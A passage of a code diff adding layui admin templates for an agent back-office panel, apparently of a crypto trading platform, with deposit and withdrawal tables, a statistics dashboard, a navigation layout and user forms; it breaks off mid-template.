<label class="layui-form-label"></label>
|
||||
<div class="layui-input-inline">
|
||||
<input type="button" lay-submit lay-filter="LAY-user-role-submit" value="确认" class="layui-btn">
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
layui.use(['admin', 'form'], function(){
|
||||
var $ = layui.$
|
||||
,form = layui.form;
|
||||
|
||||
});
|
||||
</script>
|
||||
@@ -0,0 +1,47 @@
|
||||
|
||||
|
||||
<div class="layui-form" lay-filter="layuiadmin-form-role" style="padding: 20px 30px 0 0;">
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">用户名</label>
|
||||
<div class="layui-input-inline">
|
||||
<script type="text/html" template>
|
||||
<input type="text" name="username" value="{{ d.params.username || '' }}" lay-verify="required" placeholder="请输入管理员用户名" autocomplete="off" class="layui-input">
|
||||
</script>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">密码</label>
|
||||
<div class="layui-input-inline">
|
||||
<script type="text/html" template>
|
||||
<input type="text" name="password" value="" lay-verify="required" placeholder="请输入密码" autocomplete="off" class="layui-input">
|
||||
</script>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">角色</label>
|
||||
<div class="layui-input-inline">
|
||||
<script type="text/html" template>
|
||||
<select name="role_id">
|
||||
{{# layui.each(d.params, function(index, item){ }}
|
||||
<option value="{{item.id}}" onselect="selected" >{{item.name}}</option>
|
||||
{{# }); }}
|
||||
</select>
|
||||
</script>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label"></label>
|
||||
<div class="layui-input-inline">
|
||||
<input type="button" lay-submit lay-filter="LAY-user-role-submit" value="确认" class="layui-btn">
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
layui.use(['admin', 'form'], function(){
|
||||
var $ = layui.$
|
||||
,form = layui.form;
|
||||
|
||||
});
|
||||
</script>
|
||||
@@ -0,0 +1,165 @@
|
||||
<title>代理商</title>
|
||||
|
||||
<div class="layui-card layadmin-header">
|
||||
<div class="layui-breadcrumb" lay-filter="breadcrumb">
|
||||
<a lay-href="">主页</a>
|
||||
<a><cite>订单与结算</cite></a>
|
||||
<a><cite>出入金列表</cite></a>
|
||||
<a><cite>充币列表</cite></a>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-fluid">
|
||||
<div class="layui-card">
|
||||
<div class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="layadmin-userfront-formlist">
|
||||
<div class="layui-form-item">
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">币种</label>
|
||||
<div class="layui-input-block" id="currency_view" style="width: 90px;">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">用户名</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="account_number" placeholder="请输入" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">所属代理</label>
|
||||
<div class="layui-input-block" id="child_agent_view">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<button class="layui-btn layuiadmin-btn-useradmin" lay-submit lay-filter="LAY-user-front-search">
|
||||
<i class="layui-icon layui-icon-search layuiadmin-button-btn"></i>
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-card-body">
|
||||
<table id="LAY-user-manage" lay-filter="LAY-user-manage"></table>
|
||||
<script type="text/html" id="table-useradmin-webuser">
|
||||
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="info">查看关联订单</a>
|
||||
</script>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<script type="text/html" id="currency_templet">
|
||||
<select name="currency_id" lay-verify="">
|
||||
<option value="-1">全部</option>
|
||||
{{# layui.each(d.data, function (index, item) { }}
|
||||
<option value="{{item.id}}">{{item.name}}</option>
|
||||
{{# }); }}
|
||||
</select>
|
||||
</script>
|
||||
<script type="text/html" id="child_agent_templet">
|
||||
<select name="belong_agent" lay-verify="" lay-search>
|
||||
<option value="">全部</option>
|
||||
{{# layui.each(d.data, function (index, item) { }}
|
||||
<option value="{{item.username}}">{{item.username}}</option>
|
||||
{{# }); }}
|
||||
</select>
|
||||
</script>
|
||||
|
||||
|
||||
<script>
|
||||
layui.use(['admin', 'useradmin', 'table' , 'layer', 'laytpl'], function() {
|
||||
var $ = layui.$
|
||||
,admin = layui.admin
|
||||
,view = layui.view
|
||||
,table = layui.table
|
||||
,form = layui.form
|
||||
,laytpl = layui.laytpl
|
||||
|
||||
admin.req({
|
||||
url: "/agent/common/legal_currency"
|
||||
,method: 'GET'
|
||||
,done: function (res) {
|
||||
var currency_templet = $('#currency_templet').html();
|
||||
laytpl(currency_templet).render(res, function (html) {
|
||||
$('#currency_view').html(html);
|
||||
form.render('select');
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
admin.req({
|
||||
url: '/agent/user/all_child_agent'
|
||||
,method: 'GET'
|
||||
,done: function (res) {
|
||||
var child_agent_templet = $('#child_agent_templet').html();
|
||||
laytpl(child_agent_templet).render(res, function (html) {
|
||||
$('#child_agent_view').html(html);
|
||||
form.render('select');
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
//用户管理
|
||||
table.render({
|
||||
elem: '#LAY-user-manage'
|
||||
,method : 'get'
|
||||
,url: '/agent/capital/recharge'
|
||||
,toolbar: true
|
||||
,totalRow: true
|
||||
,cols: [[
|
||||
{type: 'checkbox', fixed: 'left'}
|
||||
,{field: 'id', width: 60, title: 'ID', sort: true }
|
||||
,{field: 'currency_name', title: '币种', width: 90}
|
||||
,{field: 'account_number', title: '用户名', width: 120, totalRowText: '小计'}
|
||||
,{field: 'belong_agent_name', title: '所属代理', width: 120}
|
||||
,{field: 'value', title: '充币数量', width: 150, totalRow: true}
|
||||
,{field: 'info', title: '说明', width: 200}
|
||||
,{field: 'created_time', title: '到账时间', width: 170}
|
||||
]]
|
||||
,page: true
|
||||
,limit: 30
|
||||
,height: 'full-240'
|
||||
,text: '对不起,加载出现异常!'
|
||||
,headers: {
|
||||
//通过 request 头传递
|
||||
access_token: layui.data('layuiAdmin').access_token
|
||||
}
|
||||
,where: {
|
||||
//通过参数传递
|
||||
access_token: layui.data('layuiAdmin').access_token
|
||||
}
|
||||
,done: function(res) { //这里要说明一下:done 是只有 response 的 code 正常才会执行。而 succese 则是只要 http 为 200 就会执行
|
||||
if (res !== 0 ){
|
||||
if (res.code === 1001) {
|
||||
//清空本地记录的 token,并跳转到登入页
|
||||
admin.exit();
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
form.render(null, 'layadmin-userfront-formlist');
|
||||
|
||||
//监听搜索
|
||||
form.on('submit(LAY-user-front-search)', function(data){
|
||||
var field = data.field;
|
||||
|
||||
//执行重载
|
||||
table.reload('LAY-user-manage', {
|
||||
where: field
|
||||
,page: {
|
||||
curr: 1 //重新从第 1 页开始
|
||||
}
|
||||
,done: function(res){ //这里要说明一下:done 是只有 response 的 code 正常才会执行。而 succese 则是只要 http 为 200 就会执行
|
||||
|
||||
if (res.code === 1001) {
|
||||
//清空本地记录的 token,并跳转到登入页
|
||||
admin.exit();
|
||||
}
|
||||
|
||||
if (res.code === 1){
|
||||
layer.msg(res.msg ,{icon : 5});
|
||||
}
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
});
|
||||
</script>
|
||||
@@ -0,0 +1,167 @@
|
||||
<title>代理商</title>
|
||||
|
||||
<div class="layui-card layadmin-header">
|
||||
<div class="layui-breadcrumb" lay-filter="breadcrumb">
|
||||
<a lay-href="">主页</a>
|
||||
<a><cite>订单与结算</cite></a>
|
||||
<a><cite>出入金列表</cite></a>
|
||||
<a><cite>提币列表</cite></a>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-fluid">
|
||||
<div class="layui-card">
|
||||
<div class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="layadmin-userfront-formlist">
|
||||
<div class="layui-form-item">
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">币种</label>
|
||||
<div class="layui-input-block" id="currency_view" style="width: 90px;">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">用户名</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="account_number" placeholder="请输入" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">所属代理</label>
|
||||
<div class="layui-input-block" id="child_agent_view">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<button class="layui-btn layuiadmin-btn-useradmin" lay-submit lay-filter="LAY-user-front-search">
|
||||
<i class="layui-icon layui-icon-search layuiadmin-button-btn"></i>
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-card-body">
|
||||
<table id="LAY-user-manage" lay-filter="LAY-user-manage"></table>
|
||||
<script type="text/html" id="table-useradmin-webuser">
|
||||
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="info">查看关联订单</a>
|
||||
</script>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<script type="text/html" id="currency_templet">
|
||||
<select name="currency_id" lay-verify="">
|
||||
<option value="-1">全部</option>
|
||||
{{# layui.each(d.data, function (index, item) { }}
|
||||
<option value="{{item.id}}">{{item.name}}</option>
|
||||
{{# }); }}
|
||||
</select>
|
||||
</script>
|
||||
<script type="text/html" id="child_agent_templet">
|
||||
<select name="belong_agent" lay-verify="" lay-search>
|
||||
<option value="">全部</option>
|
||||
{{# layui.each(d.data, function (index, item) { }}
|
||||
<option value="{{item.username}}">{{item.username}}</option>
|
||||
{{# }); }}
|
||||
</select>
|
||||
</script>
|
||||
|
||||
|
||||
<script>
|
||||
layui.use(['admin', 'useradmin', 'table' , 'layer', 'laytpl'], function() {
|
||||
var $ = layui.$
|
||||
,admin = layui.admin
|
||||
,view = layui.view
|
||||
,table = layui.table
|
||||
,form = layui.form
|
||||
,laytpl = layui.laytpl
|
||||
|
||||
admin.req({
|
||||
url: "/agent/common/legal_currency"
|
||||
,method: 'GET'
|
||||
,done: function (res) {
|
||||
var currency_templet = $('#currency_templet').html();
|
||||
laytpl(currency_templet).render(res, function (html) {
|
||||
$('#currency_view').html(html);
|
||||
form.render('select');
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
admin.req({
|
||||
url: '/agent/user/all_child_agent'
|
||||
,method: 'GET'
|
||||
,done: function (res) {
|
||||
var child_agent_templet = $('#child_agent_templet').html();
|
||||
laytpl(child_agent_templet).render(res, function (html) {
|
||||
$('#child_agent_view').html(html);
|
||||
form.render('select');
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
//用户管理
|
||||
table.render({
|
||||
elem: '#LAY-user-manage'
|
||||
,method : 'get'
|
||||
,url: '/agent/capital/withdraw'
|
||||
,toolbar: true
|
||||
,totalRow: true
|
||||
,cols: [[
|
||||
{type: 'checkbox', fixed: 'left'}
|
||||
,{field: 'id', width: 60, title: 'ID', sort: true }
|
||||
,{field: 'currency_name', title: '币种', width: 90}
|
||||
,{field: 'account_number', title: '用户名', width: 120, totalRowText: '小计'}
|
||||
,{field: 'belong_agent_name', title: '所属代理', width: 120}
|
||||
,{field: 'number', title: '提币数量', width: 150, totalRow: true}
|
||||
,{field: 'real_number', title: '到账数量', width: 150, totalRow: true}
|
||||
,{field: 'notes', title: '说明', width: 200}
|
||||
,{field: 'create_time', title: '申请时间', width: 170}
|
||||
,{field: 'update_time', title: '通过时间', width: 170}
|
||||
]]
|
||||
,page: true
|
||||
,limit: 30
|
||||
,height: 'full-240'
|
||||
,text: '对不起,加载出现异常!'
|
||||
,headers: {
|
||||
//通过 request 头传递
|
||||
access_token: layui.data('layuiAdmin').access_token
|
||||
}
|
||||
,where: {
|
||||
//通过参数传递
|
||||
access_token: layui.data('layuiAdmin').access_token
|
||||
}
|
||||
,done: function(res) { //这里要说明一下:done 是只有 response 的 code 正常才会执行。而 succese 则是只要 http 为 200 就会执行
|
||||
if (res !== 0 ){
|
||||
if (res.code === 1001) {
|
||||
//清空本地记录的 token,并跳转到登入页
|
||||
admin.exit();
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
form.render(null, 'layadmin-userfront-formlist');
|
||||
|
||||
//监听搜索
|
||||
form.on('submit(LAY-user-front-search)', function(data){
|
||||
var field = data.field;
|
||||
|
||||
//执行重载
|
||||
table.reload('LAY-user-manage', {
|
||||
where: field
|
||||
,page: {
|
||||
curr: 1 //重新从第 1 页开始
|
||||
}
|
||||
,done: function(res){ //这里要说明一下:done 是只有 response 的 code 正常才会执行。而 succese 则是只要 http 为 200 就会执行
|
||||
|
||||
if (res.code === 1001) {
|
||||
//清空本地记录的 token,并跳转到登入页
|
||||
admin.exit();
|
||||
}
|
||||
|
||||
if (res.code === 1){
|
||||
layer.msg(res.msg ,{icon : 5});
|
||||
}
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
});
|
||||
</script>
|
||||
@@ -0,0 +1,198 @@
|
||||
|
||||
<title>主页二</title>
|
||||
|
||||
<div class="layui-card layadmin-header">
|
||||
<div class="layui-breadcrumb" lay-filter="breadcrumb">
|
||||
<a lay-href="">主页</a>
|
||||
<a><cite>主页二</cite></a>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-fluid">
|
||||
<div class="layui-row layui-col-space15">
|
||||
<script type="text/html" template lay-url="/agent/get_statistics">
|
||||
<div class="layui-col-sm6 layui-col-md4">
|
||||
<div class="layui-card">
|
||||
<div class="layui-card-header">
|
||||
杠杠订单结算量
|
||||
<span class="layui-badge layui-bg-blue layuiadmin-badge">总计</span>
|
||||
</div>
|
||||
<div class="layui-card-body layuiadmin-card-list">
|
||||
<p class="layuiadmin-big-font">{{ d.data.settlement }}</p>
|
||||
<!--<p>-->
|
||||
<!--总计访问量-->
|
||||
<!--<span class="layuiadmin-span-color">88万 <i class="layui-icon"></i></span>-->
|
||||
<!--</p>-->
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<input type="hidden" value="{{ d.data.invite_code }}" name="invite_code" id="invite_code">
|
||||
<div class="layui-col-sm6 layui-col-md4">
|
||||
<div class="layui-card">
|
||||
<div class="layui-card-header">
|
||||
代理商个数
|
||||
<span class="layui-badge layui-bg-cyan layuiadmin-badge">总计</span>
|
||||
</div>
|
||||
<div class="layui-card-body layuiadmin-card-list">
|
||||
<p class="layuiadmin-big-font">{{ d.data.subordinate_agent_num }}</p>
|
||||
<!--<p>-->
|
||||
<!--新下载-->
|
||||
<!--<span class="layuiadmin-span-color">10% <i class="layui-icon"></i></span>-->
|
||||
<!--</p>-->
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-col-sm6 layui-col-md4">
|
||||
<div class="layui-card">
|
||||
<div class="layui-card-header">
|
||||
会员总数
|
||||
<span class="layui-badge layui-bg-green layuiadmin-badge">总计</span>
|
||||
</div>
|
||||
<div class="layui-card-body layuiadmin-card-list">
|
||||
<p class="layuiadmin-big-font">{{ d.data.subordinate_user_num }}</p>
|
||||
<!--<p>-->
|
||||
<!--总收入-->
|
||||
<!--<span class="layuiadmin-span-color">*** <i class="layui-icon"></i></span>-->
|
||||
<!--</p>-->
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</script>
|
||||
<!--<div class="layui-col-sm6 layui-col-md3">-->
|
||||
<!--<div class="layui-card">-->
|
||||
<!--<div class="layui-card-header">-->
|
||||
<!--活跃用户-->
|
||||
<!--<span class="layui-badge layui-bg-orange layuiadmin-badge">月</span>-->
|
||||
<!--</div>-->
|
||||
<!--<div class="layui-card-body layuiadmin-card-list">-->
|
||||
|
||||
<!--<p class="layuiadmin-big-font">66,666</p>-->
|
||||
<!--<p>-->
|
||||
<!--最近一个月-->
|
||||
<!--<span class="layuiadmin-span-color">15% <i class="layui-icon"></i></span>-->
|
||||
<!--</p>-->
|
||||
<!--</div>-->
|
||||
<!--</div>-->
|
||||
<!--</div>-->
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<div class="layui-col-sm12">
|
||||
<div class="layui-card">
|
||||
<div class="layui-card-header">
|
||||
日订单量
|
||||
</div>
|
||||
<div class="layui-card-body">
|
||||
<div class="layui-row">
|
||||
<div class="layui-col-sm12">
|
||||
<div class="layui-carousel layadmin-carousel layadmin-dataview" data-anim="fade" lay-filter="LAY-index-pagetwo">
|
||||
<div carousel-item id="LAY-index-pagetwo">
|
||||
<div><i class="layui-icon layui-icon-loading1 layadmin-loading"></i></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
|
||||
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script src="../../js/jquery-1.11.1.min.js"></script>
|
||||
<script src="../../js/jquery.qrcode.min.js"></script>
|
||||
<script src="../../js/qrcode.js"></script>
|
||||
|
||||
<script>
|
||||
|
||||
|
||||
layui.define(function(exports) {
|
||||
layui.use('useradmin', layui.factory('useradmin')).use(['admin', 'layer', 'laydate', 'form'], function () {
|
||||
var $ = layui.$
|
||||
, admin = layui.admin
|
||||
, laydate = layui.laydate
|
||||
, form = layui.form;
|
||||
|
||||
admin.req({
|
||||
type: "POST",
|
||||
url: '/agent/day',
|
||||
dataType: "json",
|
||||
data: {type: 'all'},
|
||||
done: function (result) { //返回数据根据结果进行相应的处理
|
||||
//提交 Ajax 成功后,关闭当前弹层并重载图表
|
||||
show_table(result.data);
|
||||
}
|
||||
});
|
||||
|
||||
});
|
||||
|
||||
function show_table(returnData) {
|
||||
//区块轮播切换
|
||||
layui.use(['admin', 'carousel'], function () {
|
||||
var $ = layui.$
|
||||
, admin = layui.admin
|
||||
, carousel = layui.carousel
|
||||
, element = layui.element
|
||||
, device = layui.device();
|
||||
|
||||
//轮播切换
|
||||
$('.layadmin-carousel').each(function () {
|
||||
var othis = $(this);
|
||||
carousel.render({
|
||||
elem: this
|
||||
, width: '100%'
|
||||
, arrow: 'none'
|
||||
, interval: othis.data('interval')
|
||||
, autoplay: othis.data('autoplay') === true
|
||||
, trigger: (device.ios || device.android) ? 'click' : 'hover'
|
||||
, anim: othis.data('anim')
|
||||
});
|
||||
});
|
||||
|
||||
});
|
||||
//柱状图
|
||||
layui.use(['echarts'], function () {
|
||||
var $ = layui.$
|
||||
, echarts = layui.echarts;
|
||||
|
||||
//标准柱状图
|
||||
var echnormcol = [], normcol = [
|
||||
{
|
||||
|
||||
xAxis: {
|
||||
type: 'category',
|
||||
data: returnData.day
|
||||
},
|
||||
yAxis: {
|
||||
type: 'value'
|
||||
},
|
||||
color :["#c23531"],
|
||||
series: [{
|
||||
data: returnData.info,
|
||||
type: 'bar'
|
||||
}]
|
||||
}
|
||||
]
|
||||
, elemNormcol = $('#LAY-index-pagetwo').children('div')
|
||||
, renderNormcol = function (index) {
|
||||
echnormcol[index] = echarts.init(elemNormcol[index], layui.echartsTheme);
|
||||
echnormcol[index].setOption(normcol[index]);
|
||||
window.onresize = echnormcol[index].resize;
|
||||
};
|
||||
if (!elemNormcol[0]) return;
|
||||
renderNormcol(0);
|
||||
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
</script>
|
||||
@@ -0,0 +1,172 @@
|
||||
<div class="layui-layout layui-layout-admin">
|
||||
<div class="layui-header">
|
||||
<!-- 头部区域 -->
|
||||
<ul class="layui-nav layui-layout-left">
|
||||
<li class="layui-nav-item layadmin-flexible" lay-unselect>
|
||||
<a href="javascript:;" layadmin-event="flexible" title="侧边伸缩">
|
||||
<i class="layui-icon layui-icon-shrink-right" id="LAY_app_flexible"></i>
|
||||
</a>
|
||||
</li>
|
||||
|
||||
<li class="layui-nav-item" lay-unselect>
|
||||
<a href="javascript:;" layadmin-event="refresh" title="刷新">
|
||||
<i class="layui-icon layui-icon-refresh-3"></i>
|
||||
</a>
|
||||
</li>
|
||||
<li class="layui-nav-item layui-hide-xs" lay-unselect>
|
||||
<input type="text" placeholder="搜索..." autocomplete="off" class="layui-input layui-input-search" layadmin-event="serach" lay-action="template/search/keywords=">
|
||||
</li>
|
||||
</ul>
|
||||
<ul class="layui-nav layui-layout-right" lay-filter="layadmin-layout-right">
|
||||
|
||||
<li class="layui-nav-item layui-hide-xs" lay-unselect>
|
||||
<a href="javascript:;" layadmin-event="theme">
|
||||
<i class="layui-icon layui-icon-theme"></i>
|
||||
</a>
|
||||
</li>
|
||||
<li class="layui-nav-item layui-hide-xs" lay-unselect>
|
||||
<a href="javascript:;" layadmin-event="fullscreen">
|
||||
<i class="layui-icon layui-icon-screen-full"></i>
|
||||
</a>
|
||||
</li>
|
||||
<li class="layui-nav-item" lay-unselect>
|
||||
<script type="text/html" template lay-url="/agent/user_info"
|
||||
lay-done="layui.element.render('nav', 'layadmin-layout-right');">
|
||||
<a href="javascript:;">
|
||||
<cite>{{ d.data.username || ''}}</cite>
|
||||
</a>
|
||||
<dl class="layui-nav-child">
|
||||
<dd><a lay-href="set/info">基本资料</a></dd>
|
||||
<dd><a lay-href="set/password">修改密码</a></dd>
|
||||
<hr>
|
||||
<dd layadmin-event="logout" style="text-align: center;"><a>退出</a></dd>
|
||||
</dl>
|
||||
</script>
|
||||
</li>
|
||||
|
||||
<li class="layui-nav-item layui-hide-xs" lay-unselect>
|
||||
<a href="javascript:;" layadmin-event="about"><i class="layui-icon layui-icon-tabs"></i></a>
|
||||
</li>
|
||||
<li class="layui-nav-item layui-show-xs-inline-block layui-hide-sm" lay-unselect>
|
||||
<a href="javascript:;" layadmin-event="more"><i class="layui-icon layui-icon-more-vertical"></i></a>
|
||||
</li>
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
<!-- 侧边菜单 -->
|
||||
<div class="layui-side layui-side-menu">
|
||||
<div class="layui-side-scroll">
|
||||
<script type="text/html" template lay-url="/agent/menu?v={{ new Date().getTime() }}"
|
||||
lay-done="layui.element.render('nav', 'layadmin-system-side-menu');" id="TPL_layout">
|
||||
|
||||
<div class="layui-logo" lay-href="">
|
||||
<span>{{ layui.setter.name || 'layuiAdmin' }}</span>
|
||||
</div>
|
||||
|
||||
<ul class="layui-nav layui-nav-tree" lay-shrink="all" id="LAY-system-side-menu" lay-filter="layadmin-system-side-menu">
|
||||
{{#
|
||||
var path = layui.router().path
|
||||
,pathURL = layui.admin.correctRouter(path.join('/'))
|
||||
,dataName = layui.setter.response.dataName;
|
||||
|
||||
layui.each(d[dataName], function(index, item){
|
||||
var hasChildren = typeof item.list === 'object' && item.list.length > 0
|
||||
,classSelected = function(){
|
||||
var match = path[0] == item.name || (index == 0 && !path[0])
|
||||
|| (item.jump && pathURL == layui.admin.correctRouter(item.jump)) || item.spread;
|
||||
if(match){
|
||||
return hasChildren ? 'layui-nav-itemed' : 'layui-this';
|
||||
}
|
||||
return '';
|
||||
}
|
||||
,url = (item.jump && typeof item.jump === 'string') ? item.jump : item.name;
|
||||
}}
|
||||
<li data-name="{{ item.name || '' }}" data-jump="{{ item.jump || '' }}" class="layui-nav-item {{ classSelected() }}">
|
||||
<a href="javascript:;" {{ hasChildren ? '' : 'lay-href="'+ url +'"' }} lay-tips="{{ item.title }}" lay-direction="2">
|
||||
<i class="layui-icon {{ item.icon }}"></i>
|
||||
<cite>{{ item.title }}</cite>
|
||||
</a>
|
||||
{{# if(hasChildren){ }}
|
||||
<dl class="layui-nav-child">
|
||||
{{# layui.each(item.list, function(index2, item2){
|
||||
var hasChildren2 = typeof item2.list == 'object' && item2.list.length > 0
|
||||
,classSelected2 = function(){
|
||||
var match = (path[0] == item.name && path[1] == item2.name)
|
||||
|| (item2.jump && pathURL == layui.admin.correctRouter(item2.jump)) || item2.spread;
|
||||
if(match){
|
||||
return hasChildren2 ? 'layui-nav-itemed' : 'layui-this';
|
||||
}
|
||||
return '';
|
||||
}
|
||||
,url2 = (item2.jump && typeof item2.jump === 'string')
|
||||
? item2.jump
|
||||
: [item.name, item2.name, ''].join('/');
|
||||
}}
|
||||
<dd data-name="{{ item2.name || '' }}" data-jump="{{ item2.jump || '' }}"
|
||||
{{ classSelected2() ? ('class="'+ classSelected2() +'"') : '' }}>
|
||||
<a href="javascript:;" {{ hasChildren2 ? '' : 'lay-href="'+ url2 +'"' }}>{{ item2.title }}</a>
|
||||
{{# if(hasChildren2){ }}
|
||||
<dl class="layui-nav-child">
|
||||
{{# layui.each(item2.list, function(index3, item3){
|
||||
var match = (path[0] == item.name && path[1] == item2.name && path[2] == item3.name)
|
||||
|| (item3.jump && pathURL == layui.admin.correctRouter(item3.jump))
|
||||
,url3 = (item3.jump && typeof item3.jump === 'string')
|
||||
? item3.jump
|
||||
: [item.name, item2.name, item3.name].join('/')
|
||||
}}
|
||||
<dd data-name="{{ item3.name || '' }}" data-jump="{{ item3.jump || '' }}"
|
||||
{{ match ? 'class="layui-this"' : '' }}>
|
||||
<a href="javascript:;" lay-href="{{ url3 }}" {{ item3.iframe ? 'lay-iframe="true"' : '' }}>{{ item3.title }}</a>
|
||||
</dd>
|
||||
{{# }); }}
|
||||
</dl>
|
||||
{{# } }}
|
||||
</dd>
|
||||
{{# }); }}
|
||||
</dl>
|
||||
{{# } }}
|
||||
</li>
|
||||
{{# }); }}
|
||||
</ul>
|
||||
</script>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
<!-- 页面标签 -->
|
||||
<script type="text/html" template lay-done="layui.element.render('nav', 'layadmin-pagetabs-nav')">
|
||||
{{# if(layui.setter.pageTabs){ }}
|
||||
<div class="layadmin-pagetabs" id="LAY_app_tabs">
|
||||
<div class="layui-icon layadmin-tabs-control layui-icon-prev" layadmin-event="leftPage"></div>
|
||||
<div class="layui-icon layadmin-tabs-control layui-icon-next" layadmin-event="rightPage"></div>
|
||||
<div class="layui-icon layadmin-tabs-control layui-icon-down">
|
||||
<ul class="layui-nav layadmin-tabs-select" lay-filter="layadmin-pagetabs-nav">
|
||||
<li class="layui-nav-item" lay-unselect>
|
||||
<a href="javascript:;"></a>
|
||||
<dl class="layui-nav-child layui-anim-fadein">
|
||||
<dd layadmin-event="closeThisTabs"><a href="javascript:;">关闭当前标签页</a></dd>
|
||||
<dd layadmin-event="closeOtherTabs"><a href="javascript:;">关闭其它标签页</a></dd>
|
||||
<dd layadmin-event="closeAllTabs"><a href="javascript:;">关闭全部标签页</a></dd>
|
||||
</dl>
|
||||
</li>
|
||||
</ul>
|
||||
</div>
|
||||
<div class="layui-tab" lay-unauto lay-allowClose="true" lay-filter="layadmin-layout-tabs">
|
||||
<ul class="layui-tab-title" id="LAY_app_tabsheader">
|
||||
<li lay-id="/"><i class="layui-icon layui-icon-home"></i></li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
{{# } }}
|
||||
</script>
|
||||
|
||||
|
||||
<!-- 主体内容 -->
|
||||
<div class="layui-body" id="LAY_app_body">
|
||||
<div class="layadmin-tabsbody-item layui-show"></div>
|
||||
</div>
|
||||
|
||||
<!-- 辅助元素,一般用于移动设备下遮罩 -->
|
||||
<div class="layadmin-body-shade" layadmin-event="shade"></div>
|
||||
|
||||
</div>
|
||||
@@ -0,0 +1,179 @@
|
||||
|
||||
|
||||
<title>代理商</title>
|
||||
|
||||
<div class="layui-card layadmin-header">
|
||||
<div class="layui-breadcrumb" lay-filter="breadcrumb">
|
||||
<a lay-href="">主页</a>
|
||||
<a><cite>代理商</cite></a>
|
||||
<a><cite>代理商用户</cite></a>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-fluid">
|
||||
<div class="layui-card">
|
||||
<div class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="layadmin-userfront-formlist">
|
||||
<div class="layui-form-item">
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">ID</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="id" placeholder="请输入" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">下级用户名</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="username" placeholder="请输入" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<button class="layui-btn layuiadmin-btn-useradmin" lay-submit lay-filter="LAY-user-front-search">
|
||||
<i class="layui-icon layui-icon-search layuiadmin-button-btn"></i>
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-card-body">
|
||||
<table id="LAY-user-manage" lay-filter="LAY-user-manage"></table>
|
||||
<script type="text/html" id="table-useradmin-webuser">
|
||||
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="info">查看关联订单</a>
|
||||
</script>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script type="text/html" id="lockTpl">
|
||||
{{# if(d.type == 1){ }}
|
||||
<span class="layui-badge layui-bg-red">寸头统计</span>
|
||||
{{# } else { }}
|
||||
<span class="layui-badge layui-bg-blue">手续费统计</span>
|
||||
{{# } }}
|
||||
</script>
|
||||
<script type="text/html" id="addsonTpl">
|
||||
{{# if(d.status == 0){ }}
|
||||
<i class="layui-icon layui-icon-loading"style="font-size: 16px; color: #1E9FFF;">交易中</i>
|
||||
{{# } else if(d.status == 1) { }}
|
||||
<i class="layui-icon layui-icon-find-fill"style="font-size: 16px; color: #009688;">平仓中</i>
|
||||
{{# } else if(d.status == 2) { }}
|
